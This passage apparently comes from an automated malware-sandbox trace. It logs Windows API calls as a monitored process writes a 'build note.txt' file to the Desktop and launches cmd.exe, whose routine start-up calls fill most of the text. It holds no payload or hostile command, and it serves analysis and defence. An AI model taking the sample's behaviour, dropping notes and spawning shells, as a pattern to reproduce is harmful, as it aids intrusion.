param_1=0x329ecc4, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\build note.txt") returned 52 [0120.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\build note.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\build note.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.368] WriteFile (in: hFile=0x124, lpBuffer=0x56a6a8*, nNumberOfBytesToWrite=0x3e4, lpNumberOfBytesWritten=0x329ecc0, lpOverlapped=0x0 | out: lpBuffer=0x56a6a8*, lpNumberOfBytesWritten=0x329ecc0*=0x3e4, lpOverlapped=0x0) returned 1 [0120.369] CloseHandle (hObject=0x124) returned 1 [0120.370] GetProcessHeap () returned 0x520000 [0120.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56a6a8 | out: hHeap=0x520000) returned 1 [0120.370] GetProcessHeap () returned 0x520000 [0120.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.370] GetProcessHeap () returned 0x520000 [0120.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c878 | out: hHeap=0x520000) returned 1 [0120.370] FindClose (in: hFindFile=0x53a9e0 | out: hFindFile=0x53a9e0) returned 1 [0120.370] GetProcessHeap () returned 0x520000 [0120.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x568440 | out: hHeap=0x520000) returned 1 Thread: id = 120 os_tid = 0xa2c Thread: id = 122 os_tid = 0xa30 Thread: id = 123 os_tid = 0x120 Thread: id = 124 os_tid = 0x30c Thread: id = 125 os_tid = 0xa9c Thread: id = 127 os_tid = 0x388 Thread: id = 128 os_tid = 0xb0 Thread: id = 146 os_tid = 0x760 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x36592000" os_pid = "0xa34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xac8" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x5e0 [0052.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fa70 | out: lpSystemTimeAsFileTime=0x24fa70*(dwLowDateTime=0xa9636a40, dwHighDateTime=0x1d6ad09)) [0052.742] GetCurrentProcessId () returned 0xa34 [0052.742] GetCurrentThreadId () returned 0x5e0 [0052.742] GetTickCount () returned 0x114651a [0052.742] QueryPerformanceCounter (in: lpPerformanceCount=0x24fa78 | out: lpPerformanceCount=0x24fa78*=17260199415) returned 1 [0052.744] GetModuleHandleW (lpModuleName=0x0) returned 0x4a3d0000 [0052.744] __set_app_type (_Type=0x1) [0052.744] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a3f7810) returned 0x0 [0052.744] __getmainargs (in: _Argc=0x4a41a608, _Argv=0x4a41a618, _Env=0x4a41a610, _DoWildCard=0, _StartInfo=0x4a3fe0f4 | out: _Argc=0x4a41a608, _Argv=0x4a41a618, _Env=0x4a41a610) returned 0 [0052.745] GetCurrentThreadId () returned 0x5e0 [0052.745] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5e0) returned 0x3c [0052.746] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0052.746] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0052.746] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0052.746] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0052.746] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fa08 | out: phkResult=0x24fa08*=0x0) returned 0x2 [0052.746] VirtualQuery (in: lpAddress=0x24f9f0, lpBuffer=0x24f970, dwLength=0x30 | out: lpBuffer=0x24f970*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0052.746] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24f970, dwLength=0x30 | out: lpBuffer=0x24f970*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0052.747] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24f970, dwLength=0x30 | out: lpBuffer=0x24f970*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0052.747] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24f970, dwLength=0x30 | out: lpBuffer=0x24f970*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0052.747] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24f970, dwLength=0x30 | out: lpBuffer=0x24f970*(BaseAddress=0x250000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0052.747] GetConsoleOutputCP () returned 0x1b5 [0052.747] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0052.747] SetConsoleCtrlHandler (HandlerRoutine=0x4a3f3184, Add=1) returned 1 [0052.747] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.747] SetConsoleMode (hConsoleHandle=0x12c, dwMode=0x0) returned 0 [0052.748] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.748] GetConsoleMode (in: hConsoleHandle=0x12c, lpMode=0x4a3fe194 | out: lpMode=0x4a3fe194) returned 0 [0052.748] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.748] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a3fe198 | out: lpMode=0x4a3fe198) returned 0 [0052.748] GetEnvironmentStringsW () returned 0x368a60* [0052.748] GetProcessHeap () returned 0x350000 [0052.748] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa7c) returned 0x3694f0 [0052.748] FreeEnvironmentStringsW (penv=0x368a60) returned 1 [0052.748] GetProcessHeap () returned 0x350000 [0052.748] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x3688e0 [0052.748] GetEnvironmentStringsW () returned 0x368a60* [0052.749] GetProcessHeap () returned 0x350000 [0052.749] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa7c) returned 0x369f80 [0052.749] FreeEnvironmentStringsW (penv=0x368a60) returned 1 [0052.749] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e8c8 | out: phkResult=0x24e8c8*=0x44) returned 0x0 [0052.749] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x0, lpData=0x24e8e0*=0x18, lpcbData=0x24e8c4*=0x1000) returned 0x2 [0052.749] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x1, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.749] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x0, lpData=0x24e8e0*=0x1, lpcbData=0x24e8c4*=0x1000) returned 0x2 [0052.749] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x0, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.749] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x40, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.749] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x40, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.749] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x0, lpData=0x24e8e0*=0x40, lpcbData=0x24e8c4*=0x1000) returned 0x2 [0052.749] RegCloseKey (hKey=0x44) returned 0x0 [0052.750] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e8c8 | out: phkResult=0x24e8c8*=0x44) returned 0x0 [0052.750] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x0, lpData=0x24e8e0*=0x40, lpcbData=0x24e8c4*=0x1000) returned 0x2 [0052.750] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x1, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.750] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x0, lpData=0x24e8e0*=0x1, lpcbData=0x24e8c4*=0x1000) returned 0x2 [0052.750] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x0, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.750] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x9, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.750] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x4, lpData=0x24e8e0*=0x9, lpcbData=0x24e8c4*=0x4) returned 0x0 [0052.750] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e8c0, lpData=0x24e8e0, lpcbData=0x24e8c4*=0x1000 | out: lpType=0x24e8c0*=0x0, lpData=0x24e8e0*=0x9, lpcbData=0x24e8c4*=0x1000) returned 0x2 [0052.750] RegCloseKey (hKey=0x44) returned 0x0 [0052.750] time (in: timer=0x0 | out: timer=0x0) returned 0x5f9934a6 [0052.750] srand (_Seed=0x5f9934a6) [0052.750] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0052.750] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0052.750] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a40c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0052.751] GetProcessHeap () returned 0x350000 [0052.751] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x36aa10 [0052.751] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0052.751] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0052.751] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0052.751] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0052.751] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0052.751] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0052.751] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0052.751] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0052.751] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0052.751] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0052.751] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0052.751] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0052.751] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0052.751] GetProcessHeap () returned 0x350000 [0052.752] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3694f0 | out: hHeap=0x350000) returned 1 [0052.752] GetEnvironmentStringsW () returned 0x368a60* [0052.752] GetProcessHeap () returned 0x350000 [0052.752] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa94) returned 0x36ac30 [0052.752] FreeEnvironmentStringsW (penv=0x368a60) returned 1 [0052.752] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0052.752] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0052.752] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0052.752] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0052.752] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0052.752] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0052.752] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0052.752] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0052.752] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0052.752] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0052.752] GetProcessHeap () returned 0x350000 [0052.752] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5c) returned 0x36b6d0 [0052.752] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f6d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0052.753] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x24f6d0, lpFilePart=0x24f6b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f6b0*="Desktop") returned 0x25 [0052.753] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0052.753] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f3e0 | out: lpFindFileData=0x24f3e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x36b740 [0052.753] FindClose (in: hFindFile=0x36b740 | out: hFindFile=0x36b740) returned 1 [0052.753] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x24f3e0 | out: lpFindFileData=0x24f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x36b740 [0052.753] FindClose (in: hFindFile=0x36b740 | out: hFindFile=0x36b740) returned 1 [0052.753] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0052.753] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x24f3e0 | out: lpFindFileData=0x24f3e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d649d40, ftLastAccessTime.dwHighDateTime=0x1d6ad09, ftLastWriteTime.dwLowDateTime=0x9d649d40, ftLastWriteTime.dwHighDateTime=0x1d6ad09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x36b740 [0052.754] FindClose (in: hFindFile=0x36b740 | out: hFindFile=0x36b740) returned 1 [0052.754] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0052.754] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0052.754] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0052.754] GetProcessHeap () returned 0x350000 [0052.754] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ac30 | out: hHeap=0x350000) returned 1 [0052.754] GetEnvironmentStringsW () returned 0x36b740* [0052.754] GetProcessHeap () returned 0x350000 [0052.754] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xae8) returned 0x36c230 [0052.754] FreeEnvironmentStringsW (penv=0x36b740) returned 1 [0052.754] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a40c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0052.754] GetProcessHeap () returned 0x350000 [0052.754] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36b6d0 | out: hHeap=0x350000) returned 1 [0052.754] GetProcessHeap () returned 0x350000 [0052.754] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4016) returned 0x36cd20 [0052.756] GetProcessHeap () returned 0x350000 [0052.756] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd20 | out: hHeap=0x350000) returned 1 [0052.756] GetConsoleOutputCP () returned 0x1b5 [0052.756] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0052.756] GetUserDefaultLCID () returned 0x409 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a407b50, cchData=8 | out: lpLCData=":") returned 2 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f7e0, cchData=128 | out: lpLCData="0") returned 2 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f7e0, cchData=128 | out: lpLCData="0") returned 2 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f7e0, cchData=128 | out: lpLCData="1") returned 2 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a41a740, cchData=8 | out: lpLCData="/") returned 2 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a41a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a41a460, cchData=32 | out: lpLCData="Tue") returned 4 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a41a420, cchData=32 | out: lpLCData="Wed") returned 4 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a41a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a41a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a41a360, cchData=32 | out: lpLCData="Sat") returned 4 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a41a700, cchData=32 | out: lpLCData="Sun") returned 4 [0052.757] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a407b40, cchData=8 | out: lpLCData=".") returned 2 [0052.758] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a41a4e0, cchData=8 | out: lpLCData=",") returned 2 [0052.758] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0052.758] GetProcessHeap () returned 0x350000 [0052.759] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x20c) returned 0x3695c0 [0052.759] GetConsoleTitleW (in: lpConsoleTitle=0x3695c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0052.759] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.759] GetFileType (hFile=0x12c) returned 0x3 [0052.759] BrandingFormatString () returned 0x3697e0 [0052.766] GetVersion () returned 0x1db10106 [0052.766] _vsnwprintf (in: _Buffer=0x24f950, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x24f8e8 | out: _Buffer="6.1.7601") returned 8 [0052.766] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.766] GetFileType (hFile=0x12c) returned 0x3 [0052.766] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a416340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0052.766] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a416340, nSize=0x2000, Arguments=0x24f8f0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0052.766] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0052.766] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x24f878, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f878*=0x24, lpOverlapped=0x0) returned 1 [0052.766] _vsnwprintf (in: _Buffer=0x4a416340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f918 | out: _Buffer="\r\n") returned 2 [0052.766] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.766] GetFileType (hFile=0x12c) returned 0x3 [0052.767] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0052.767] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f8e8*=0x2, lpOverlapped=0x0) returned 1 [0052.767] _vsnwprintf (in: _Buffer=0x4a416340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x24f918 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0052.767] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.767] GetFileType (hFile=0x12c) returned 0x3 [0052.767] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0052.767] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x24f8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f8e8*=0x3f, lpOverlapped=0x0) returned 1 [0052.767] _vsnwprintf (in: _Buffer=0x4a416340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f918 | out: _Buffer="\r\n") returned 2 [0052.767] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.767] GetFileType (hFile=0x12c) returned 0x3 [0052.767] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0052.767] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f8e8*=0x2, lpOverlapped=0x0) returned 1 [0052.768] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0052.768] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0052.768] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0052.768] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0052.768] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.768] GetFileType (hFile=0x120) returned 0x3 [0052.768] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0052.768] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x24f740 | out: 